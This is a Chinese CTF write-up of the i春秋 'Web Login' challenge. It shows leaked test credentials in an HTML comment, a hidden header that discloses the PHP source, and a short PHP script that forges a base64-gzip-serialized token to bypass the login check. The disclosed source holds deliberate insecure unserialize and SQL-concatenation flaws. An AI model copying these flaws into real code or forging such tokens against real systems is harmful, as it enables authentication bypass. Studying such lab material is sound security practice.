i春秋CTF训练 Web Login

Web Login

题目内容:加油,我看好你

本题由擂主Wfox提供

题目链接请在i春秋申请


访问发现是个登录页面,还以为是爆破弱口令,结果在页面源码里看到一行注释

<!--  test1 test1  -->

在这里插入图片描述

试了一下成功登录,然后重定向到了member.php页面,发现页面里啥也没有

在这里插入图片描述

只能用burpsuite抓包看看了,然后在response的headers里发现可疑参数show

在这里插入图片描述

然后在request的headers里添加一个show参数,值设置为1,发送,页面返回了php源码
在这里插入图片描述

<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}
		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}
	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}
?> -->(╯‵□′)╯︵┴─┴

重点是构造$login = unserialize(gzuncompress(base64_decode($requset['token'])));只要满足if($login['user'] === 'ichunqiu')就返回flag,主要就是有加密

下面补充点小知识:

  • php的数组
<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// 自 PHP 5.4 起
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>
  • 题目中判断的$login['user'] === 'ichunqiu'就是数组,所以我们需要命名一个数组$a=array("user" => "ichunqiu"),之后进行加密

  • serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。序列化serialize()就是可以将多个字段的值如 name、vaule、sex、money等存储在数据库表中一个字段里如extend_params,而不用另外开辟那么多字段,使用的时候就要先反序列化extend_params,使用unserialize()函数

  • gzcompress()实现字符串压缩,gzuncompress()实现解压

  • base64_encode()字符串进行base64编码加密,base64_decode() base64解密

  • 题目按执行先后进行了base64解密,gzuncompress解压,unserialize序列化转php,我们需要按照正好相反的顺序构造加密

$a=base64_encode(gzcompress(serialize($a)));

写个php的加密脚本

<?php
$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo $a;
?>

得到输出

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

在Cookie里添加一个token值即可得到flag

在这里插入图片描述

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值